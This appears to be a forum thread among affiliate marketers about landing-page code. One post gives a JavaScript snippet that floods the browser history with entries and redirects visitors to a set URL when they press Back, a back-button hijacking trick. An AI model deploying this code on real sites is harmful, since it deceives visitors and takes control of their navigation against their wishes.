shu1er
Registered Member
- Jul 12, 2017
- 88
- 58
will you leave here the correct code please.
leave here what you have done, it's working for me just fine but please let me know what changes you have done please.
Hi, I replace it to the standart well known simplest code
Code:
!function () {
var t;
var tmp = window.location.href;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
onpopstate = function (t) {
t.state && location.replace(tmp);
}
} catch (o) {
}
}();
Replace window.location.href to any url.
This issue only with trackers that use js macros, many people use it. When tracker pass parameters with tokens to the landing page, the existing code replace all query string to "#!/index" and offer url is broken.
Your tracker may use cookies macros, not js, so you didn't see that, or if you hard code offer url to the landing and don't use trackers - you're fine of course.